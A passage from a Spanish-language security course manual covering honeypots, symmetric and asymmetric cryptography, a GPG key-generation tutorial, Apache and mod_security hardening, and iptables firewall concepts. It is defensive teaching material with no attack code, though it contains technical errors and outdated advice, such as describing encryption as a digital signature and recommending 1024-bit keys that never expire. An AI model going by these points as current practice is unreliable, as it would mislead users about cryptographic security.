• Capture-HPC: Del tipo cliente, como HoneyC, identifica servidores potencialmente maliciosos interactuando con ellos, utilizando una máquina virtual dedicada y observando cambios de sistema no previstos o autorizados.

Otra opción a destacar en cuanto a la elección de un honeypot es la de la web Project HoneyPot (http://www.projecthoneypot.org/). Se trata de un portal que facilita un recurso web para usarlo como honeypot. Este genera una página con un código script, la cual utiliza diversas técnicas para la recopilación de información (IPs, logins usados en ataques de fuerza bruta, spammers, etc…).

Como trabajo práctico, pueden intentar instalar el honeypot Kojoney (http://kojoney.sourceforge.net/), el cual les recomiendo tenerlo instalado en sus entornos de producción ya que emula un servidor SSH.

- 90 -

Page 91: Seguridad

CRIPTOGRAFIA – PROTECCION DE DATOS

En nuestro día a día si queremos guardar información confidencial sobre nuestros clientes podremos destinar una oficina especial en la cual solo pueda ingresar personal autorizado llave de por medio y si fuera necesario podríamos protegerla designando un guardia para que custodie la oficina. Si tenemos que enviar información confidencial por correo utilizaremos los servicios de la mejor empresa de correo y si queremos guardar nuestro dinero para que no nos lo roben podremos guardarlo en una caja fuerte del banco que nos resulte más seguro.

Por desgracia en una red informática estas opciones no existen y se tardó bastante en poner al alcance de todos la principal forma de proteger nuestra información: la criptografía.

El cifrado de los datos nos va a permitir desde proteger nuestro correo personal para que ningún curioso lo pueda leer, hasta controlar el acceso a nuestros archivos de forma que sólo personas autorizadas puedan examinar y modificar su contenido, pasando por proteger nuestras claves cuando nos conectamos a un sistema remoto o nuestros datos bancarios cuando realizamos una compra a través de Internet.

La criptografía es la ciencia que trata lo problemas teóricos relacionados con la seguridad en el intercambio de mensajes en clave entre un emisor y un receptor que utilizan un canal de comunicación.

Esta ciencia está dividida en dos grandes ramas: la criptografía, ocupada del cifrado de mensajes en clave y del diseño de criptosistemas y el criptoanálisis, que trata de descifrar los mensajes en clave, rompiendo así el criptosistema.

El uso original de la criptografía era proteger la confidencialidad de informaciones militares y políticas. En la actualidad resulta interesante y útil para cualquier persona que esté interesada en la confidencialidad de sus datos.

Hoy por hoy además de mantener en secreto ciertos datos se busca garantizar la autenticación en la transmisión de los datos. Es decir que podamos confiar ciegamente que el emisor del mensaje es quien dice ser, y no otro, y la integridad del mensaje que leemos, esto significa que sea el mismo que nos enviaron.

Tratemos de ver de forma sencilla como es el proceso de encriptación...

El emisor emite un texto plano, que es tratado por un cifrador con la ayuda de una clave, k, creando un texto cifrado (criptograma). Este criptograma llega al descifrador a través de un canal de comunicaciones. El descifrador convierte el criptograma de nuevo en texto plano, usando ahora otra clave, k´ (veremos más adelante que esta clave puede o no ser la misma que la utilizada para cifrar), y este texto plano ha de coincidir con el emitido inicialmente para que se cumplan los principios básicos de la criptografía moderna.

El elemento más importante en este proceso es el cifrador, que ha de utilizar el algoritmo de cifrado para convertir el texto plano en un criptograma.

- 91 -

Page 92: Seguridad

Usualmente, para hacer esto, el cifrador depende de un parámetro exterior, que se conoce como clave de cifrado, que es aplicado a una función matemática irreversible. Sólo es posible invertir la función si se dispone de la clave de descifrado.

Existen dos tipos básicos de criptografía:

1. la criptografía simétrica,

2. la criptografía asimétrica

¿Cómo es el proceso de criptografía simétrica? En la criptografía simétrica se utiliza siempre la misma clave, esta clave es compartida tanto por el generador de una transacción o un mensaje como por el receptor.

El problema radica en que al tener que compartir la misma clave no se puede identificar el emisor o fuente de un mensaje.

En la criptografía asimétrica se utilizan claves distintas, es decir que cada una de las partes que intervienen en la transacción poseen un par de claves: una clave privada y una clave pública.

¿Cómo es el proceso de criptografía asimétrica? En este sistema, cada persona obtiene un par de claves, llamadas clave pública y clave privada.

La clave pública de cada una, como su nombre lo indica, es de dominio público y la privada se mantiene en secreto. La necesidad de que emisor y receptor compartan la misma clave queda eliminada: las comunicaciones sólo necesitan de la clave pública y entonces la clave privada no se transmite ni se comparte, es una "realmente Privada".

De ésta forma no es necesario confiar en los canales de comunicación, corriendo el riesgo de que alguien esté 'escuchando' en la línea de comunicación o de que se viole el secreto de la clave privada.

Cualquier persona puede enviar un mensaje confidencial con sólo utilizar la clave pública, pero el mensaje sólo puede desencriptarse con la clave privada que posee únicamente el receptor. Más aún, la criptografía asimétrica puede utilizarse tanto para la autenticación (firmas digitales) como para mantener la privacidad (encriptado).

La ventaja principal de este método de cifrado es su mayor seguridad. Las claves privadas no se transmiten ni se revelan a persona alguna. En el sistema simétrico, siempre existe la posibilidad de que sea descubierta durante la transmisión.

- 92 -

Page 93: Seguridad

FIRMA DIGITAL

Otra ventaja importante consiste en que proporciona un método de firma digital.

La autenticación digital es un proceso por el cual el receptor de un mensaje digital puede mantener confidencial la identidad del que lo envía y/o la integridad del mensaje.

¿cómo es este proceso en la práctica?

Veámoslo en un ejemplo, supongamos que Mariana le quiere enviar un documento a Fabián, obtiene su clave pública y la utiliza para encriptar el documento; luego lo envía. Cuando Fabián lo recibe, utiliza su clave privada para desencriptarlo y leerlo. Nadie escucha ni puede desencriptar el mensaje. ¿Por qué? Porque Fabián recibe documentos que sólo él puede desencriptar.

En este caso el mensaje está protegido mientras la clave privada permanece solo en manos de Fabián.

Cuando un receptor desea recibir una información cifrada, ha de hacer llegar a todos los potenciales emisores su clave pública, para que estos cifren los mensajes con dicha clave.

De este modo, el único que podrá descifrar el mensaje será el legítimo receptor, mediante su clave privada.

- 93 -

Page 94: Seguridad

( )GPG Gnu Privacy Guard

GPG es una herramienta conocida como un sistema de firma digital para correo electrónico.

Una firma digital es un bloque de caracteres que acompaña a un documento, acreditando quién es su autor y que no ha existido manipulación posterior de los datos. El proceso de firma digital que realiza este software consiste en aplicar un algoritmo sobre el texto a firmar, obteniendo un extracto de longitud fija y único para ese mensaje. Este extracto cuya longitud oscila entre 176 y 160 bits se somete al cifrado (RSA ó DSS) mediante la clave secreta del autor, previa petición de contraseña.

Para verificar la firma, el receptor descifra la firma con la clave pública del emisor, comprime con la función hash al texto original recibido y compara el resultado de la parte descifrada con la parte comprimida, si ambas coinciden el emisor tiene garantía de la parte descifrada con la parte comprimida, si ambas coinciden el emisor tiene garantía que el texto no ha sido modificado.

El mecanismo de firma digital soporta los servicios de integridad de datos, autenticación de origen y no repudio con prueba de origen. Para proporcionar el servicio de no repudio con prueba de entrega es necesario forzar al receptor a enviar al emisor un recibo firmado digitalmente.

Podemos obtener esta aplicación de: http://www.gnupg.org/ o ftp://ftp.gnupg.org/gcrypt/

La instalación se explica muy bien en el archivo INSTALL y en los archivos que hay en el directorio doc, que trae el paquete.

Lo primero que hay que hacer una vez instalado es generar el par de llaves pública y privada que usaremos, ya que el gpg utiliza un sistema de codificación asimétrico.

¿Qué es todo esto?

Los sistemas de codificación simétricos utilizan una clave para cifrar y descifrar los datos. Esto quiere decir que si alguien conoce la clave de cifrado puede interpretar los mensajes que "capture" y tenga esa clave como firma. Los sistemas asimétricos utilizan una clave, llamada pública, para encriptar la información y una clave, llamada privada, para descifrarla.Con este método, por más que se sepa la clave pública, no se pueden interpretar los datos de un mensaje cifrado.

El primer paso que ejecutaremos será:

$ gpg --gen-key gpg (GnuPG) 1.2.1; Copyright (C) 2002 Free Software Foundation, Inc. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See the file COPYING for details. gpg: ATENCIÓN: ¡se está usando memoria insegura! gpg: por favor, vea http://www.gnupg.org/faq.html para más información

Por favor seleccione tipo de clave deseado:

- 94 -

Page 95: Seguridad

(1) DSA y ElGamal (por defecto) (2) DSA (sólo firmar) (5) RSA (sólo firmar)

Su elección:

Para que no salga el mensaje: gpg: ATENCIÓN: ¡se está usando memoria insegura!

Tendremos que colocar en el archivo ~/.gnupg/gpg.conf una línea que contenga:

no-secmem-warning

Como podemos ver, lo primero que se nos pide es el algoritmo de cifrado, y el recomendado es el que aparece por defecto, ya que no está patentado.

Su elección: 1 El par de claves DSA tendrá 1024 bits. Listo para generar un nuevo par de claves ELG-E. el tamaño mínimo es 768 bits el tamaño por defecto es 1024 bits el tamaño máximo recomendado es 2048 bits ¿De qué tamaño quiere la clave (1024)?

Lo siguiente es la longitud de la clave, cuanto más larga, más segura, pero lleva más tiempo generarla y firmar correos, etc. Con el tamaño por defecto tenemos un buen nivel de seguridad.

El tamaño requerido es de 1024 bits

Por favor, especifique el período de validez de la clave.

0 = la clave nunca caduca <n> = la clave caduca en n días <n>w = la clave caduca en n semanas <n>m = la clave caduca en n meses <n>y = la clave caduca en n años

¿Validez de la clave (0)?

Seguimos con el período de validez de la clave, vamos a elegir que nunca caduque:

Key nunca caduca ¿Es correcto (s/n)? s

Necesitamos ahora un identificador de usuario para identificar nuestra clave.

El programa construye el identificador a partir del Nombre Real, Comentario y Dirección de Correo Electrónico de esta forma:

"Heinrich Heine (Der Dichter) <[email protected]>"

Nombre y apellidos:

- 95 -

Page 96: Seguridad

Aquí tenemos que escribir lo que nos solicita.

Nombre y apellidos: Pedro prueba Dirección de correo electrónico: [email protected] Comentario: El mejor usuario

Ha seleccionado este ID de usuario: "Pedro prueba (El mejor usuario) <[email protected]>" ¿Cambia (N)ombre, (C)omentario, (D)irección o (V)ale/(S)alir?

Aceptamos las opciones. ¿Cambia (N)ombre, (C)omentario, (D)irección o (V)ale/(S)alir? v

Necesita una contraseña para proteger su clave secreta.

Es necesario generar muchos bytes aleatorios. Es una buena idea realizar alguna otra tarea (trabajar en otra ventana/consola, mover el mouse, usar la red y los discos) durante la generación de números primos. Esto da al generador de números aleatorios mayor oportunidad de recoger suficiente entropía (el porcentaje de información y redundancia que contienen).

.+++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++++++++++++++++.+++++++++++++++++++++++++..+++++.+++++.+++++..+++++++++++++++.+++++........>.+++++...........>+++++<+++++...................>+++++<++++++++++++++++++++.+++++.++++++++++++++++++++++++++++++.+++++++++++++++++++++++++.++++++++++++++++++++.++++++++++.+++++++++++++++.+++++++++++++++>+++++.......<+++++...>+++++....................................<+++++...........>.+++++.................................>+++++.<+++++.................+++++^^^^^^^^^^^ gpg: /home/pedro/.gnupg/trustdb.gpg: se ha creado base de datos de confianza claves pública y secreta creadas y firmadas. clave marcada como de confianza absoluta. pub 1024D/C8F3702B 2003-05-16 Pedro prueba (El mejor usuario) <[email protected]> Huella de clave = B124 FD41 717E 0761 5E7D B4E5 4EA7 4AF9 C8F3 702B sub 1024g/2BA33BAE 2003-05-16

Listo, ya tenemos nuestro par de claves, ahora pondremos en un archivo la clave pública, para compartirla.

$ gpg --export -a -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.2.1 (GNU/Linux) mQGiBD7EUHsRBADkAfVr9jWrbPKbnND6Fpo4a/qCi9HANt0L4Cze9DaRR2WvQhOg 39TIMBZxQIXN4b7I6RP+hKEwifmpylV7+GRdqvKGOGO6f5yGE+GCrsh3iGG5X28v UjYFBE8GY8+k5ZKoUUA352J4KaudIOM0qfhzM8bqeFpPo7Divlis0JBIBwCg1Ixe EDTYXPA3IuxmRi7FFqAvytMEANnaFr8ArZDSw9PEY5dR0Zdx1lDzQ+Tn1YMd23EC c13gwmzve8FLPnNpod8LDH58VBUBgVKFbBmBXz6SQrp/WZfE6MMgVucpTD0vz8RW UO3887Hr7Y/nRDzbYhcLdf7iQ739gWCaKMorA8lfWtIU+mWW2tU/K/pCWXNWyiz0 MsAtBAC2t09SGsqJi0BBw2KUjsfIVxAEeslsO7y7d1BqvmgiFkMssvhdjLRq0E6q YL0Y5Nb3MOGJxUxaVPYIGti8oa7QTnpZoh52NJyWPnJ500NrdImJ46LkvYgF2M3/ s46k7t5BDqmZf1eAvVf8pfPQlEEdASj6lYqd0DXeO32bdokbALQ2UGVkcm8gcHJ1 ZWJhIChFbCBtZWpvciB1c3VhcmlvKSA8cGVkcm9AcGVkcml0by5jb20uYXI+iFkE ExECABkFAj7EUHsECwcDAgMVAgMDFgIBAh4BAheAAAoJEE6nSvnI83Ar6mcAniek

- 96 -

Page 97: Seguridad

0xksKzV02ccYIKNOSTg85gBOAJsE5BVH1TVPdA5sdU9NcR46j3I3ibkBDQQ+xFCI EAQAuwcteknhMkGBH7OQWsrpQH+4ESSOYfFathqwSLzx4U00t9AlmwMKgxa8wyyv Mnl4Cr4xdAj9G1/Py981Eklill1xQAukJaEJxY4dLfEvRwlSngd6QnLiIiqfYJBa oWnX6YkkzR1O2CVNDYDWGmbwdWrLC6fF6AM7llefZJnhTXcABA0D/3k6wVmSzNfy P37uOnkIDjM2yiwzdBX0VBMuNIRz/6INtynFn6sbaqpxI0ijHl4DWo0yaaQo3Ca1 KC7hV+auJA48L5jR/XhJm8FszfnN01Jo6ueZic/TTJdMFPLH376DoUeOpUsGdwNp F0KAKOWFEJO+6KhGVnM2Ugr2rjB9K+DliEYEGBECAAYFAj7EUIgACgkQTqdK+cjz cCvXdgCfYOt8YtslYI8LfVjzSVPheixwmMYAn26TG6HROvvz27yf8JAyJu8ud4el =urZ5 -----END PGP PUBLIC KEY BLOCK-----

Si no colocamos la opción -a, la salida sería binaria. Ahora tenemos que mandarla por mail o direccionar la salida a un archivo y enviarlo de alguna forma a la persona que queremos que me escriba mensajes cifrados usando mi clave pública.

$ gpg -export [uid] $ gpg -import [archivo]

Con import tomamos la/las claves de un archivo y las agregamos a nuestro anillo de claves.

Con la opción -fingerprint, podemos ver la huella de la clave y verificar que sea correcta y se corresponda con su dueño.

$ gpg -fingerprint /home/pedro/.gnupg/pubring.gpg ------------------------------ pub 1024D/C8F3702B 2003-05-16 Pedro prueba (El mejor usuario) <[email protected]> Huella de clave = B124 FD41 717E 0761 5E7D B4E5 4EA7 4AF9 C8F3 702B sub 1024g/2BA33BAE 2003-05-16

Para encriptar un archivo usamos (genera archivo.gpg):

$ gpg -e archivo

Para encriptarlo con la clave de otro usuario:

$ gpg -er usuario archivo

Podemos agregar la opción -a para que genere un archivo ascii (genera archivo.asc).

Para descifrar el archivo:

$ gpg -o pepe -d pepe.asc

Necesitamos una contraseña para desbloquear la clave secreta del usuario:

"Pedro prueba (El mejor usuario) <[email protected]>" clave ELG-E de 1024 bits, ID 2BA33BAE, creada el 2003-05-16(ID clave primaria C8F3702B) gpg: cifrado con clave ELG-E de 1024 bits, ID 2BA33BAE, creada el 2003-05-

- 97 -

Page 98: Seguridad

16 "Pedro prueba (El mejor usuario) <[email protected]>"

Usamos el -o para que la salida sea dirigida hacia allí y -d para descifrar el mensaje.

Para firmar un archivo o mail con nuestra clave usamos (el ej. genera archivo.txt.asc):

$ gpg -a -s archivo.txt

Ojo!!! el archivo .asc creado contiene la información y la firma, si queremos tener en un sólo archivo la firma, sin la información usamos:

$gpg -a -b archivo.txt

Para verificar una firma tipeamos en la consola:

$ gpg -v archivo.txt.asc

Ejemplo:

$ gpg -v archivo.txt.asc gpg: cabecera de armadura: Version: GnuPG v1.2.1 (GNU/Linux) gpg: asumiendo que hay datos firmados en `archivo.txt' gpg: Firma creada el vie 16 may 2003 00:32:58 ART usando clave DSA ID C8F3702B gpg: Firma correcta de "Pedro prueba (El mejor usuario) <[email protected]>"

Para borrar una clave usamos el siguiente comando:

$ gpg --delete-key [UID]

- 98 -

Page 99: Seguridad

TALLERES

- 99 -

Page 100: Seguridad

TALLER DE APACHE SECURITY

Hacking Web ServersUna de las razones principales de porque los servidores web tienen gran probabilidad de ser “hackeados” es porque están públicamente disponibles en Internet las 24 horas los 7 días. Si un atacante logra comprometer con éxito un servidor web este tendrá una vía o “puerta” de acceso a la red donde está conectado el servidor y tendrá acceso al propio OS del servidor y sus aplicaciones o programas.

Vulnerabilidades comunesEstas son las 4 vulnerabilidades más comunes que buscan los hackers para explotar los servidores web.

• Errores de programación en el código del sistema operativo, permitiendo ejecutar comandos que “corren” el servidor web

• Vulnerabilidades en instalaciones por defecto (default) del sistema operativo y programas del servidor

• Servidores y sus programas no actualizados adecuadamente con los últimos parches de seguridad

• Una pobre o inadecuadas pólizas y procedimientos de seguridad

Todas estas vulnerabilidades pueden ser explotadas porque los servidores web se encuentran en la zona desmilitarizada (Demilitarized Zone) o DMZ. El DMZ es un área públicamente accesible entre 2 dispositivos de filtrado de paquetes, como los Firewalls.

Website CloakingEs la habilidad de un servidor web para mostrar diferentes tipos de páginas web según la dirección IP del usuario.

Web Server defacement (desfiguración)Es la habilidad del hacker para explotar una vulnerabilidad en el sistema operativo o programas del web server para alterar archivos del website y mostrar que el website ha sido hackeado.

Ataques más comunes a los servidores web• Ataque al DNS para re direccionar a los usuarios a un web server diferente • Ataque SQL injection • Comprometer o atacar servidores de FTP o de e-mail • Obtener nombre de usuario y password del administrador vía ataque man-in-the-

middle • Explotar vulnerabilidades en aplicaciones web • Usar intrusion via Telnet o Secure Shell (SSH)

- 100 -

Page 101: Seguridad

• Re direccionar usuarios a una URL diferente vía URL poisoning (envenenamiento de URL)

• Web share no configurados • Ataques usando extensiones del servidor web o servicios remotos

Como incrementar la seguridad en servidores web• Remueva aplicaciones o programas del servidor que no se usen • Inhabilitar el directory browsing en la configuración del servidor web • Inhabilite la administración remota • Remplace el GET por el POST en los formularios cuando envié información al

servidor web • Instale los últimos parches, hotfixes y service packs al servidor y sus aplicaciones • Actualice su cuenta de administrador y password cada 30 días y utilice un password

fuerte • Coloque un aviso legal en el website para hacerle entender a los posibles atacantes

las implicaciones de hackear el website • Utilice un firewall entre el servidor web y la internet y mantenga abiertos solo puertos

necesarios como el 80 (HTTP) y el 443 (HTTPS) • Habilite auditing y logging • Verifique los limites de entrada de datos en los formularios y en las consultas a las

bases de datos para prevenir ataques de buffer overflow (desbordamiento del buffer)

Herramientas para atacar servidores web

N-StalkerEs un escáner que te permite revisar aplicaciones web en busca de vulnerabilidades como; cross-site-scripting (XSS), SQL injection, buffer overflow, etc.

Metasploit FrameworkEsta poderosa herramienta gratuita es usada para probar o hackear un sistema operativo o aplicaciones del servidor web. Los exploits pueden ser usados como plug-ins y se pueden llevar a cabo a través de sistemas operativos Windows y Unix. Lo bueno y lo malo de Metasploit es que el atacante o hacker puede escribir sus propios exploits como también usar los ya existentes.

6 Consejos para Incrementar la Seguridad1. Mantenerse ActualizadoEste es el punto clave más importante. Está comprobado que el 90% de las vulnerabilidades producidas son porque nuestros servidores no están correctamente actualizados, tanto a nivel sistema operativo como de las aplicaciones que ejecutamos en él.

2 .Ocultar el numero de versión de Apache

- 101 -

Page 102: Seguridad

La principal herramienta que utilizará nuestro atacante será la información que sin querer le estamos brindando. En el caso de un servidor web, es normal que se pueda ver el siguiente pie cuando intentamos acceder a una pagina que no se encuentra disponible.

Para ocultar esta información, tenemos que editar el archivo /etc/apache2/apache2.conf y agregar las siguientes directivas de seguridad que vienen deshabilitadas por omisión. ServerTokens ProductOnly ServerSignature Off

Recordemos reiniciar nuestro servicio de Apache con el comando apache2ctl restart para comprobar los cambios.

3. Proteger los .htaccessOtra tarea que debemos realizar es proteger nuestros archivos .htaccess ya que estos pueden contener información importante sobre el funcionamiento de nuestro servidor web.<Directory /> AllowOverride None </Directory>

4. Apagar las inclusiones “Server Side”Es importante que agreguemos la directiva -Includes dentro del tag <directory>Options -Includes

5. Apagar la ejecución CGISi no estamos utilizando el modulo CGI, es recomendable apagarlo. Dentro del tag <directory> tenemos que agregar la directiva -ExecCGIOptions -ExecCGI

6. Limitar el acceso a determinados archivosNuestros visitantes, no tienen que tener la posibilidad de ver los archivos de nuestro servidor. Para esto, podremos limitarlo utilizando el archivo .htaccess <FilesMatch "\.(.*sql|.*~)$"> Order deny,allow Deny from all </FilesMatch>

Esto evitaria por ejemplo, que no se puedan acceder a los archivos .sql

- 102 -

Page 103: Seguridad

APACHE MOD_SECURITYLos que poseen un servidor web, saben lo complicado que es mantener el servidor seguro, más aun cuando corremos páginas en PHP, Python, etc.

No importa lo paranoico o prolijo que seamos, siempre hay puntos vulnerables y si revisamos los logs del servidor, seguro encontraremos cientos de ataques XSS, SQL Injection, etc.

La idea de esta parte del taller es configurar Mod_Security en un servidor Apache, para que podamos repeler un alto número de estos ataques, sin estar volviéndonos locos.

Vamos por partes… ¿Que es Mod_Security?Según Wikipedia, Mod_Security es una herramienta para detección y prevención de intrusos para aplicaciones Web.

Básicamente, es un módulo de Apache que se encarga de inspeccionar todo el trafico HTTP que pasa por nuestro webserver y en base a los resultados realizar acciones, como ser rechazar el pedido si es algo peligroso o mal intencionado.

Para mas información de mod_security pueden leer http://es.wikipedia.org/wiki/Mod_Security o mejor aún el sitio oficial http://www.modsecurity.org/.

Lamentablemente los paquetes de Debian de mod_security siempre estan pasados de moda (versiones viejisimas) o no estan disponibles para bajar (y más aun para Debian 6 Squeeze), así que aca vamos a proceder directamente a instalar mod_security desde su código fuente.

Lo primero es bajar la ultima versión. Al momento de escribir este material, se trata de la version 2.6.7. Antes de proseguir debemos asegurarnos de que sea la ultima version entrando a http://www.modsecurity.org/download/.# cd /usr/src/# wget "http://www.modsecurity.org/download/modsecurity-apache_2.6.7.tar.gz"# tar zxvf modsecurity-apache_2.6.7.tar.gz

Ahora instalamos un par de herramientas y librerias que vamos a necesitar para instalar todo esto ..# apt-get install libxml2-dev liblua5.1-0 lua5.1 apache2-threaded-dev build-essential libxml2 libxml2-dev libcurl3 libcurl3-dev

Procedemos a compilar mod_security y luego a instalarlo…# cd modsecurity-apache_2.6.7# ./configure# make# make install

- 103 -

Page 104: Seguridad

Ahora debemos crear el archivo /etc/apache2/mods-available/mod_security2.load con el siguiente contenido:LoadFile /usr/lib/libxml2.soLoadFile /usr/lib/liblua5.1.so.0LoadModule security2_module /usr/lib/apache2/modules/mod_security2.so

Hecho esto, habilitamos los módulos que usaremos.# a2enmod mod_security2# a2enmod unique_id

Configuramos lo minimo-necesario para correr el mod-security.# cp modsecurity.conf-recommended /etc/apache2/conf.d/modsecurity.conf

Ahora bajamos el pack de reglas más actualizado y lo instalamos: (en este caso, al momento de armar este material, era el modsecurity-crs_2.2.5, pero tal como hicimos antes debemos validar en el sitio web http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/ asi bajamos la ultima version actualizada.# cd /etc/apache2/# wget -O modsecurity-crs.tar.gz "http://downloads.sourceforge.net/project/mod-security/modsecurity-crs/0-CURRENT/modsecurity-crs_2.2.5.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fmod-security%2Ffiles%2Fmodsecurity-crs%2F0-CURRENT%2F&ts=1344909585&use_mirror=ufpr"# tar xzvf modsecurity-crs.tar.gz# mv modsecurity-crs_2.2.5 /etc/apache2/modsecurity_crs# rm -fr modsecurity-crs.tar.gz# chown root.root /etc/apache2/modsecurity_crs/ -R# cd /etc/apache2/modsecurity_crs# mv modsecurity_crs_10_config.conf.example modsecurity_crs_10_config.conf

Ahora ajustaremos la configuracion de mod-security para apuntar los archivos de logs a donde queremos, e incluir el pack de rules que acabamos de bajar.Para ello, editamos el archivo de configuracion:# vim /etc/apache2/conf.d/modsecurity.conf

Buscamos las lineas:# SecDebugLog /opt/modsecu# SecDebugLogLevel 3

las descomentamos y las dejamos de la siguiente forma:SecDebugLog /var/log/apache2/modsec_debug.logSecDebugLogLevel 3

Luego buscamos las lineas:# SecAuditLogType Serial# SecAuditLog /var/log/modsec_audit.log

las descomentamos y las dejamos de la siguiente forma:

- 104 -

Page 105: Seguridad

SecAuditLogType SerialSecAuditLog /var/log/apache2/modsec_audit.log

Y al final de todo el archivo, agregamos las siguientes lineas, que servirán para cargar todas las reglas del pack que bajamos:Include /etc/apache2/modsecurity_crs/*.confInclude /etc/apache2/modsecurity_crs/base_rules/*.conf

Guardamos el archivo y salimos.

A continuacion preparamos los logs que vamos a usar y seteamos los permisos necesarios:# touch /var/log/apache2/modsec_debug.log# touch /var/log/apache2/modsec_audit.log# chown root.root /var/log/apache2/modsec_*# chmod 660 /var/log/apache2/modsec_*

Eso es todo, ahora podemos decirle a Apache que verifique si todo esta OK en la config:# apache2ctl configtest

Si todo esta OK, veremos un hermoso:Syntax OK

Si no es así y algo falló, deberemos revisar toda la configuración.

NO PODEMOS CONTINUAR SINO VEMOS EL “Syntax OK”!.

Ahora si .. si todo esta OK, podemos reinicar Apache2:# /etc/init.d/apache2 restart

Luego de reiniciar, podemos mirar el errorlog de Apache, para ver si efectivamente cargo el ModSecurity.# tail /var/log/apache2/error.log

Eso es todo! Ya tenemos mod-security funcionando en nuestro Apache.

Recuerden ingresar al sitio oficial de mod_security para estar actualizados con todos los updates y novedades que sacan semanalmente.

- 105 -

Page 106: Seguridad

TALLER DE IPTABLES

Qué es un firewallUn firewall es un dispositivo que filtra el tráfico entre 2 o más redes. El firewall puede ser un dispositivo físico o un software sobre un sistema operativo. En general debemos verlo como una caja con 2 o más interfaces de red en la que se establecen una reglas de filtrado con las que se decide si una conexión determinada puede establecerse o no. Incluso puede ir más allá y realizar modificaciones sobre las comunicaciones, como el NAT.

Esa sería la definición genérica, hoy en dia un firewall es un hardware especifico con un sistema operativo o una BIOS que filtra el tráfico TCP/UDP/ICMP/../IP y decide si un paquete pasa, se modifica, se convierte o se descarta. Para que un firewall entre redes funcione como tal debe tener al menos dos tarjetas de red.

Figura 1: esquema de firewall típico entre red local e internet

Esquema típico de firewall para proteger una red local conectada a internet a través de un router. El firewall debe colocarse entre el router (con un único cable) y la red local (conectado al switch o al hub de la LAN)

Dependiendo de las necesidades de cada red, puede ponerse uno o más firewalls para establecer distintos perímetros de seguridad en torno a un sistema. Es frecuente también que se necesite exponer algún servidor a internet (como es el caso de un servidor web, un servidor de correo, etc..), y en esos casos obviamente en principio se debe aceptar cualquier conexión a ellos. Lo que se recomienda en esa situación es situar ese servidor en lugar aparte de la red denominada DMZ o zona desmilitarizada.

Figura 2: esquema de firewall entre red local e internet con zona DMZ para servidores

- 106 -

Page 107: Seguridad

expuestos

En la zona desmilitarizada se pueden poner tantos servidores como se necesiten. Con esta arquitectura, permitimos que el servidor sea accesible desde internet de tal forma que si es atacado y se gana acceso a él, la red local sigue protegida por el firewall. Esta estructura de DMZ puede hacerse también con un doble firewall (aunque como se ve se puede usar un único dispositivo con al menos tres interfaces de red). Sería un esquema como este:

Figura 3: esquema de firewall entre red local e internet con zona DMZ para servidores expuestos creado con doble firewall(perímetro)

Los firewalls se pueden usar en cualquier red. Es habitual tenerlos como protección de internet en las empresas, aunque ahí también suelen tener una doble función: controlar los accesos externos hacia dentro y también los internos hacia el exterior; esto último se hace con el firewall o frecuentemente con un proxy (que también utilizan reglas, aunque de más alto nivel).

También, en empresas de hosting con muchos servidores alojados lo normal es encontrarnos uno o más firewalls ya sea filtrando toda la instalación o parte de ella:

- 107 -

Page 108: Seguridad

Figura 4: esquema de firewall entre redes, en la que solo se filtra y no se hace NAT

Sea el tipo de firewall que sea, generalmente no tendrá mas que un conjunto de reglas en las que se examina el origen y destino de los paquetes del protocolo tcp/ip. En cuanto a protocolos es probable que sean capaces de filtrar muchos tipos de ellos, no solo los tcp, también los udp, los icmp y otros protocolos vinculados a vpns. Este podría ser (en pseudo-lenguaje) un conjunto de reglas correspondiente al firewall de la figura 1:

• Politica por defecto ACEPTAR• Todo lo que venga de la red local al firewall ACEPTAR• Todo lo que venga de la ip de mi casa al puerto tcp 22 ACEPTAR• Todo lo que venga de la ip de casa del jefe al puerto tcp 1723 ACEPTAR• Todo lo que venga de ntp.nasa.gov al puerto udo 123 ACEPTAR• Todo lo que venga de la red local y vaya al exterior ENMASCARAR• Todo lo que venga del exterior al puerto tcp 1 al 1024 DENEGAR• Todo lo que venga del exterior al puerto tcp 3389 DENEGAR• Todo lo que venga del exterior al puerto udp 1 al 1024 DENEGAR

En definitiva lo que se hace es:

• Habilita el acceso a puertos de administración a determinadas IPs privilegiadas

• Enmascara el trafico de la red local hacia el exterior (NAT, una petición de un pc de la LAN sale al exterior con la ip pública), para poder salir a internet

• Deniega el acceso desde el exterior a puertos de administración y a todo lo que este entre 1 y 1024.

Hay dos maneras de implementar un firewall:

- 108 -

Page 109: Seguridad

1) Política por defecto ACEPTAR: en principio todo lo que entra y sale por el firewall se acepta y solo se denegará lo que se diga explícitamente.

2) Política por defecto DENEGAR: todo esta denegado, y solo se permitirá pasar por el firewall aquellos que se permita explícitamente.

Como es obvio imaginar, la primera política facilita mucho la gestión del firewall, ya que simplemente nos tenemos que preocupar de proteger aquellos puertos o direcciones que sabemos que nos interesa; el resto no importa tanto y se deja pasar. Por ejemplo, si queremos proteger una máquina linux, podemos hacer un netstat -ln (o netstat -an, o netstat -puta | grep LISTEN), saber que puertos están abiertos, poner reglas para proteger esos puertos y ya está.

¿Para qué vamos a proteger un puerto que realmente nunca se va a abrir?

El único problema que podemos tener es que no controlemos que es lo que esta abierto, o que en un momento dado se instale un software nuevo que abra un puerto determinado, o que no sepamos que determinados paquetes ICMP son peligrosos. Si la política por defecto es ACEPTAR y no se protege explícitamente, estamos arriesgando nuestra seguridad.

En cambio, si la política por defecto es DENEGAR, a no ser que lo permitamos explícitamente, el firewall se convierte en un auténtico MURO impenetrable. El problema es que es mucho más difícil preparar un firewall así, y hay que tener muy claro que es lo que se tiene que abrir sin caer en la tentación de empezar a meter reglas super-permisivas.

Esta configuración de firewall es la recomendada, aunque no es aconsejable usarla si no se domina mínimamente iptables pero al finalizar este modulo aprenderás a trabajar con iptables sin mayores dificultades.

El orden en el que se ponen las reglas de firewall es determinante. Normalmente cuando hay que decidir que se hace con un paquete se va comparando con cada regla del firewall hasta que se encuentra una que le afecta (match), y se hace lo que dicte esta regla (aceptar o denegar);

después de eso NO SE MIRARÁN MÁS REGLAS para ese paquete. ¿Cuál es el peligro? Si ponemos reglas muy permisivas entre las

primeras del firewall, puede que las siguientes no se apliquen y no sirvan de nada.

Qué es iptablesIptables es un sistema de firewall vinculado al kernel de linux que se ha extendido enormemente a partir del kernel 2.4 de este sistema operativo. Al igual que el anterior sistema ipchains, un firewall de iptables no es como un servidor que lo iniciamos o

- 109 -

